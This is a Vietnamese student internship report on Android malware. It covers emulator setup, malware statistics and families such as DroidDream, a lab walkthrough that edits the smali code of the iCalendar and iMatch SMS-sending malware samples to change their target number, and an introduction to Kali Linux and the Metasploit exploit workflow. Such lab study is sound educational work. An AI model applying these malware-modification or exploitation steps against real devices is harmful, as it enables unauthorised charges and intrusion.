Bảng 2. So sánh giao diện Android 2.3 và Android 4.x.
3.3. So sánh về tính năng và phương thức mạng
Đặc điểm Android 2.3 Android 4.x
Thiết bị phù hợp Smartphone. Smartphone, Tablet.
Xóa thông báo Chỉ có thể xóa tất các các
thông báo cùng lúc trên
trình quản lý.
Chỉ có thể xóa riêng rẽ các
thông báo cùng lúc trên trình
quản lý.
Trả lời, ngắt cuộc gọi. Chỉ có thể trả lời, ngắt cuộc
gọi khi màn hình bị khóa.
Có thể thực hiện thêm 1 số
tính năng khi màn hình bị
khoái ngoài trả lời , ngắt cuộc
gọi như gửi tin nhắn.
Mở khóa bằng nhận
diện khuôn mặt Không. Có.
Chỉnh sửa ảnh Không hỗ trợ. Có.
Giao thức https Không hỗ trợ. Có
Bảng 3. So sánh về tính năng và phương thức mạng.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 8
CÀI ĐẶT HỆ ĐIỀU HÀNH ANDROID TRÊN MÔI CHƯƠNG 2.
TRƯỜNG ẢO ECLIPSE
1. Cài đặt Java JDK.
Java Development Kit (JDK - Bộ công cụ cho người phát triển ứng dụng bằng
ngôn ngữ lập trình Java) là một tập hợp những công cụ phần mềm được phát triển
bởi Sun Microsystems dành cho các nhà phát triển phần mềm, dùng để viết những
applet Java hay những ứng dụng Java - bộ công cụ này được phát hành miễn phí
gồm có trình biên dịch, trình thông dịch, trình giúp sửa lỗi (debugger, trình chạy
applet và tài liệu nghiên cứu.
Để cài đặt máy ảo Android trước hết, ta cần phải có bộ công cụ phát triền Java
JDK. Download tại địa chỉ:
http://www.oracle.com/technetwork/java/javase/downloads/index.html/
Chọn phiên bản phù hợp với máy tính, ở đây tôi chọn Java Platform (JDK) 8u11
và gói cài đặt Jdk-8u11-windows-x64.exe.
Hình 2.1. Phiên bản JDK 8u11.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 9
Hình 2.2. Gói cài đặt JDK cho Windows 64bits.
Sau khi download xong, bắt đầu tiến hành cài đặt. Khởi động file vừa tải về, chọn
Next, chọn ổ đĩa và cài đặt.
Hình 2.3. Chạy jdk-8u-windows-x64.exe.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 10
Hình 2.4. Chọn ổ đĩa để cài đặt.
Sau khi cài đặt, ta cần kiểm tra lại bộ JDK đã cài thành công chưa chưa bằng
cách vào CMD và gõ lệnh: “java”. Kết quả xuất ra như sau thì đã cài đặt thành
công.
Hình 2.5. Kiểm tra cài đặt JDK.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 11
2. Cài đặt android SDK
Android SDK là một máy ảo của Android trên PC.SDK hỗ trợ bạn lập trình các
ứng dụng của Android trên PC, hỗ trợ bạn những chức năng không khác gì một
chiếc máy thật. Để cài đặt ta thực hiện 2 bước sau.
Bước 1. Trước hết ta cần download gói Android SDK tại địa chỉ sau:
http://developer.android.com/sdk/index.html
Sau khi download và giải nén ta được gói thư mục:
Hình 2.6. Thư mục cài đặt Android SDK.
Bước 2. Khởi động SDK Manager.exe. Sau khi chờ load xong. Chọn Tools, và
phiên bản Android muốn sửa dụng, ở đây mình chọn: Android 4.3 (API 18),
Android 2.3.3 (API 10).
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 12
Hình 2.7. Cài đặt các phiên bản Android.
3. Tạo máy ảo Android (Android Virtual Device)
Bước 1. Tại SDK Manager vào Tools chọn Manage AVD
Hình 2.8. Tạo máy ảo Android.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 13
Bước 2. Click vào New để tạo máy ảo android và điền các thông tin cần thiết.
Hình 2.9. Tạo máy ảo Android.
Điền các thông tin cần thiết cho máy ảo, như tên của máy, thiết bị muốn giả lập,
phiên bản hệ điều hành Android, dung lượng SD Card, RAM, …
Hình 2.10. Thông tin máy ảo Android.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 14
Bước 3. Khởi động máy ảo Android. Chọn máy ảo Android và click vào Start.
Hình 2.11. Khởi động máy ảo Android.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 15
Chờ máy ảo khởi động xong. Ta được máy ảo Android 2.3.3 Như hình.
Hình 2.12. Máy ảo Android.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 16
TÌM HIỂU MÃ ĐỘC TRÊN ANDROID CHƯƠNG 3.
1. Định nghĩa mã độc.
Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của
hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép
của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ:
Phá hoại hệ thống máy tính như xóa, sửa, làm hỏng file, dữ liệu….
Phát tán thư rác.
Lợi dụng máy tính của bạn làm công cụ tấn công các hệ thống mạng máy
tính khác.
Đánh cắp thông tin: thông tin về địa chỉ mail, thông tin cá nhân, tài khoản
ngân hàng, thẻ tín dụng,….
2. Mã độc trong môi trường Android.
2.1. Android là một môi trường lý tưởng cho mã độc phát triển.
Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet
baking…Sử dụng các ứng dụng này đồng nghĩa với việc cung cấp thông
tin cá nhân.
Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho
smartphone và máy tính bảng.
Android là một hệ điều hành mã nguồn mở.
2.2. Phân loại mã độc Android.
Có nhiều cách phân loại khác nhau như: Troy Vennon dựa vào cách hoạt động
lây nhiễm của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân loai
mã độc làm 6 nhóm. Theo trang web forenics chuyên nghiên cứu về mã độc dựa
vào mục tiêu của mã độc để chia ra làm 9 họ:
Đánh cấp thông tin cá nhân 51,3%
Gửi tin nhắn trái phép (IMEL,..) 30,1%
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 17
Botnet(spam, thư rác,..) 23,5%
Truy cập Root 18,3%
Tải từ Google-Play 11,3%
Cài đặt các ứng dụng khác 10,4%
Đánh cấp định vị của người dùng 8,7%
Cài đặt các ứng dụng hỗ trợ hacker 7,8%
Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp) 3,5%
Bảng 4. Các họ mã độc Android.
3. Thực trạng hiện nay.
Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virút của Bkav,
chỉ trong năm tháng đầu năm 2014, phần mềm bảo vệ smartphone Bkav Mobile
Security đã cập nhật 621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000 của
cả năm 2013. Đặc biệt, mỗi ngày có 262.000 điện thoại bị nhiễm loại mã độc gửi tin
nhắn SMS đến đầu số tính phí. “Đây là các đầu số thu phí 15.000 đồng/tin nhắn,
tính ra mỗi ngày người sử dụng VN bị “móc túi” số tiền khổng lồ lên tới hơn 3,9 tỉ
đồng”, báo cáo của Bkav kết luận. Thực tế, số tiền các loại virút “móc túi” người
dùng smartphone có thể hơn gấp nhiều lần vì có rất nhiều điện thoại bị nhiễm virút
trong một thời gian dài nhưng chủ nhân không nhận biết và cũng không có biện
pháp kiểm tra, theo dõi.
Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc
trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng
mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền
tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di
động của Google vừa được hãng bảo mật Kaspersky Lab công bố.
Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus
chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi
đến họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến
nơi khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 18
mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại
mã độc mới được phát tán trên Android trong quý I năm 2013.
Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số
lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm
2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di
động bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android
là nền tảng chịu ảnh hưởng nặng nhất.
Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán
các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2”
trên lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú
ý của các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng
lẻo càng tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di
động này.
Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật
trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ
yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường
link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng
xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất
hiện nay của hacker.
Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng
khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là
1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc
phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).
4. Malware.
Không những là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã và
đang tấn công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là
Android.
Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần
mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính
mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào
máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên
các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs...
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 19
nhưng không đáng kể. Tuy nhiên giờ đây khi smartphone đang ngày càng phát
triển và phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải
trí đến giao dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware.
Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay
mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó
chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện
nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần
lớn nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các
thao tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn
SMS khi bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các
cuộc gọi thực hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát.
4.1. Cơ chế hoạt động của Malware.
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là
Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:
Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng
ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm
được quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó
trong lần sử dụng đầu tiên.
Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một permission đặc
biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó
có thể gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải
thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root,
Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai,
DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt
ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài
đặt các ứng dụng mà không được phép.
Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt đầu
việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là
confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động
lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công
việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là
khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 20
cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên
chiếc smartphone của mình.
4.2. Mục đích của Malware DroidDream.
DroidDream được coi là một trong những Malware đầu tiên trên Android, mục
đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện
thoại của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy
nhiên các biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn
rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin
nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí
của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do
tại sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng
kích hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi
đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường
gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các
malware này.
Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện
thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta
đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang
thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này.
5. Cơ chế bảo mật trong Android.
5.1. Tính bảo mật trong Android.
Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.
Các ứng dụng android được phân biệt bởi system ID.
Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.
Bảo mật trong android được thể hiện qua cơ chế “Permission”
5.2. Cơ chế Permission.
Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều
hành và người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như
đọc gửi tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá
nhân,..Nói cách khác người lập trinh ứng dụng sẽ khai báo Permission cho những
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 21
nguông tài nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng
dụng.
5.3. Google Play.
Kiểm soát các mã độc trên ứng dụng.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 22
CÀI ĐẶT MỘT SỐ CHƯƠNG TRÌNH CHỨA MÃ CHƯƠNG 4.
ĐỘC
1. iCalendar.
iCalendar là 1 chương trình dạng lịch xuất xứ từ Trung Quốc có gắn kèm mã
độc thực hiện gửi 1 tin nhắn đến 1 số điện thoại định trước mà không thông qua sự
cho phép của người dùng.
1.1. Các công cụ cần thiết.
Super Apk tool: và File iCalendar.apk:
https://www.mediafire.com/?66znl833ger7284
Hai máy ảo Android.
1.2. Các bước thực hiện.
Khởi động cả 2 máy ảo Android. Ở đây gồm 2 máy Phone2:5556 dùng làm máy
cài iCalendar và Phone1: 5554 dùng làm máy nhận tin nhắn trái phép từ máy
Phone2. Trong đó số 5554 và 5556 chính là số điện thoại của mỗi máy ảo.
Hình 4.1. Khởi động máy ảo Android.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 23
Ta giải nén tập tin Super Apk tool vừa download về vào thư mục bất kỳ ta được
như hình:
Hình 4.2. Folder Super Apk Tool.
Khởi động SuperApkTook_2.1.0_x64. Chương trình sẽ load các Device điện
thoại đang sẵn có. Ở đây ta có 2 máy, emulator-5554 và emulator-5556.
Hình 4.3. Super Apk Tool scanning devices.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 24
Tại màn hình chính của Super Apk Tool chọn Project -> New Project (hoặc ấn
Ctrl + N). Tìm đến file icalendar.apk rồi xác nhận. Chương trình sẽ giải nén file
icalendar.apk.
Hình 4.4. Mở file iCalendar.apk
Ta sẽ bắt đầu tiến hành sửa code, để chỉnh số số điện thoại. Vào View Chọn
Smali Code Vào thư mục com\mj\iCalendar.
Hình 4.5. View Smali Code.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 25
Tại đây, ta sẽ tiến hành sửa code 2 file: iCalendar.smali và SmsReceiver.smali.
Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad hoặc
Notepad++.
iCalendar.smali, Tiến tới .line 252 sửa “1066185829” bằng số điện thoại
của người nhận tin nhắn. Ở đây, ví dụ sửa số điện thoại của máy Phone1,
chính là 5554. Sang dòng .line 253 sửa nội dụng tin nhắn.
SmsRecerver.smali, Tiến tới .line 41 sửa số điện thoại tương tự như file
iCalendar.smali.
Hình 4.6. Edit file iCalendar.smali và file SmsReceiver.smali.
Sau khi chỉnh sửa xong, Save lại. Trở lại màn hình chính của Super Apk Tool.
Chọn Device cài đặt chương trình iCalendar là máy Phone2:5556. Vào Run chọn
Build hoặc ấn F5. SuperApkTool sẽ tự động cài đặt iCalendar vào máy
Phone02.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 26
Hình 4.7. Build Projects.
Ta ấn nhiều lần vào chương trình lịch iCalendar. Mã độc sẽ được kích hoạt và gửi
tin nhắn đến máy Phone1 với nội dung tin nhắn như đã được cài trước đó.
Hình 4.8. Tin nhắn từ Phone2 qua Phone1.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 27
2. iMatch
Tương tự như iCalendar, iMatch cho phép gửi tinh nhắn trái phép khi mã độc bị kích
hoạt. Điểm khác nhau ở đây là iMatch là một ứng dụng game và mã độc có thể gửi
bốn tin nhắn cho 4 số điện thoại giống hoặc khác nhau.
2.1. Các công cụ cần thiết
Super Apk tool
https://www.mediafire.com/?66znl833ger7284
Hai máy ảo Android.
2.2. Các bước thực hiện.
Thực hiện tương tự như với iCalendar. Ta mở 2 máy ảo Phone1 và Phone2. Sau
đó giải nén file iMatch.apk bằng SuperApkTool. Tại bước View Code ta vào
thư mục \com\mj\utils. Tiếp theo Edit MJUtils.smali như sau.
Hình 4.9. Sửa nội dung file MjUtils.smali
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 28
Bốn số điện thoại ở trên, ta có thể edit khác nhau. Sau khi lưu lại, ta Buil và nhận
được kết quả.
Như vậy, máy Phone1, đã đồng thời nhận 4 tin nhắn Message1, Message2,
Message3, Message4 từ máy Phone2 qua.
Hình 4.10. Kết quả chạy chương trình iMatch.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 29
Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên CHƯƠNG 5.
Kali Linux để xâm nhập vào máy Android.
1. Tổng quan.
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết
kế để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân
của Kali Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh
giá bảo mật ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013,
hãng Offensive Security đã công bố phiên bản mới của BackTrack có tên là Kali
Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại
gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào
cũng cần sử dụng khi tác nghiệp.
2. Cải tiến của Kali Linux so với Backtrack.
2.1. Kali phát triển trên nền tảng hệ điều hành Debian
Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu
trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ
dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật
Repository. Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là
một yêu cầu vô cùng quan trọng.
Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói
của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt
cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong
việc xem xét hoặc thay đổi mã nguồn của các công cụ.
2.2. Tính tương thích kiến trúc
Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với
kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra.
Giờ đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy
Note.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 30
2.3. Hỗ trợ mạng không dây tốt hơn
Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính
là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không
dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực
hiện đánh giá mạng không dây.
2.4. Khả năng tùy biến cao
Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối
với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops
như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.
2.5. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai
Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ
điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố
thì chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).
Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali
đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người
dùng không phải cài lại mới hoàn toàn nữa
3. Cài đặt Kali Linux
3.1. Chuẩn bị.
File iso Kali Linux: http://www.kali.org/downloads/
Máy có cài sẵn Vmware.
3.2. Cài đặt.
Sau khi đã có file iso Kali Linux. Ta tiến hành cài máy ảo VMware.
Khởi động VMwarre, ở góc phải trên màn hình chọn File -> New Virtual
Machine.... Ta chọn cách cài đặt là Typical (recommendied). Và Next.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 31
Hình 5.1. Chon phương thức cái đặt – Typical
Tiếp theo, Tại Installer Disc Image File (iso), chọn đường dẫn đến file Kali-
linux-1.0.8-amd64.iso. Và Next.
Hình 5.2. Tìm đường dẫn đến file iso Kali Linux.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 32
Ta sẽ chọn dung lượng tối đã cho ổ cứng. Giá trị mặc định là 20GB. Và Next.
Hình 5.3. Chọn dung lượng tối đa của đĩa.
Xác nhận thông tin của hệ điều hành lần cuối. Chọn Finish để bắt đầu cài đặt.
Hình 5.4. Thông tin hệ điều hành.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 33
Bước tiếp theo, ta sẽ tiến hành cài hệ điều hành tại VMware. Chọn Install để tiếp
tục. Nhớ sử dụng các phím move để di chuyển con trỏ.
Hình 5.5. Cài đặt Kali Linux.
Chọn ngôn ngữ để cài đặt Process, và ngôn ngữ này cũng chính là ngôn ngữ của
hệ thống. Ở đây Default là English.
Hình 5.6. Chọn Ngôn Ngữ cho hệ điều hành.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 34
Chọn múi giờ theo vị trí. Ở đây không có VietNam nên ta chọn Other.
Hình 5.7. Chọn múi giờ theo khu vực.
Bước tiếp theo, ta sẽ chọn ngôn ngữ cho bàn phím. Chọn American English.
Hình 5.8. Khu vực Asia.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 35
Chờ đợi quá trình cài đặt kết thúc. Ta tiến hành cài đặt HostName, Domain
Name, Root Password. Chú ý là HostName không được có ký tự khoảng trắng.
Hình 5.9. Cài đặt Hostname + DomainName + Password.
Chọn vùng đĩa sẽ cài đặt hệ điều hành, ở đây ta chọn Use entire disk ->
continue.
Hình 5.10. Tùy chọn vùng đĩa cài đặt.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 36
Chọn All file in one Partition Continue
Hình 5.11. Phương thức cài đặt ổ đĩa.
Ta xác nhận các thông số cài đặt và định dạng ổ đĩa một lần cuối. Nếu có sai sót
gì thì thì Go Back để sửa lại. Và Chọn Finish partitioning and write changes to
disk để cài hệ điều hành Linux vào VMware.
Hình 5.12. Xác nhận thông số cài đặt.
Trong quá trình cài đặt, hệ thống sẽ hỏi chúng ta, có muốn bổ sung cập nhật qua
mạng? Ta chọn No để đẩy nhanh quá trình cài đặt (Cỏ thể cập nhật sau).
Hình 5.13. Tìm kiếm cập nhật qua mạng.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 37
Chờ đợi quá trình cài đặt kết thúc.
Hình 5.14. Quá trình cài Linux.
Đăng nhập vào với UserName là root. Và Password là password mà chúng ta đã
cài trước đó
Hình 5.15. Đăng nhập Kali Linux.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 38
TẠO MÃ ĐỘC TRÊN KALI LINUX ĐỂ XÂM CHƯƠNG 6.
NHẬP VÀO MÁY ẢO ANDROID QUA MẠNG LAN
1. Metasploit
1.1. Giới thiệu
Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác
lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl,
với những components được viết bằng C, assembler, và Python.Metasploit có thể
chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Bạn có thể
download chương trình tại www.metasploit.com.
Metasploit có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script
msfupdate.bat trong thư mục cài đặt.
1.2. Các thành phần của Metasploit
Metasploit hỗ trợ nhiều giao diện với người dùng.
Console interface: dùng msfconsole.bat. Msfconsole interface sử dụng
các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.
Web interface: dùng msfweb.bat, giao tiếp với người dùng thông qua giao
diện web.
Command line interface: dùng msfcli.bat.
Các môi trường trên Metasploit – Enviroment.
Global Enviroment: được thực thi thông qua 2 câu lệnh setg và unsetg,
những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả
các module exploits.
Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset,
enviroment này chỉ được đưa vào module exploit đang load hiện tại, không
ảnh hưởng đến các module exploit khác.
Bạn có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường
đó sẽ được lưu trong /.msf/config và sẽ được load trở lại khi user interface được
thực hiện.
Những options nào mà chung giữa các exploits module như là: LPORT, LHOST,
PAYLOAD thì bạn nên được xác định ở Global Enviroment.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 39
Ví dụ: msf> setg LPORT 80
msf> setg LHOST 172.16.8.2
1.3. Sử dụng Metasploit framework
Bước 1. Chọn module exploit, lựa chọn chương trình, dịch vụ lỗi mà Metasploit
có hỗ trợ để khai thác.
Show exploits: xem các module exploit mà framework có hỗ trợ.
Use exploit_name: chọn module exploit.
Info exploit_name: xem thông tin về module exploit.
Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên www.metasploit.com hoặc
qua script msfupdate.bat.
Bước 2. Cấu hình module exploit đã chọn.
Show options: Xác định những options nào cần cấu hình.
Set: cấu hình cho những option của module đó.
Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ
dòng lệnh show advanceds.
Bước 3. Verify những options vừa cấu hình.
Check: kiểm tra xem những option đã được set chính xác chưa.
Bước 4. Lựa chọn target: lựa chọn hệ diều hành nào để thực hiện.
Show targets: những target được cung cấp bởi module đó.
Set: xác định target nào.
Ví dụ:
smf> use windows_ssl_pct
show targets
exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000, win2000 SP1.
Bước 5. Lựa chọn payload
Payload là đoạn code mà sẽ chạy trên hệ thống remote machine.
Show payloads: liệt kê ra những payload của module exploit hiện tại.
Info payload_name: xem thông tin chi tiết về payload đó.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 40
Set PAYLOAD payload_name: xác định payload module name.Sau khi lựa
chọn payload nào, dùng lệnh show options để xem những options của
payload đó
Show advanced: xem những advanced options của payload đó
Bước 6. Thực thi exploit.
Exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp
cho bạn những thông tin về hệ thống được khai thác
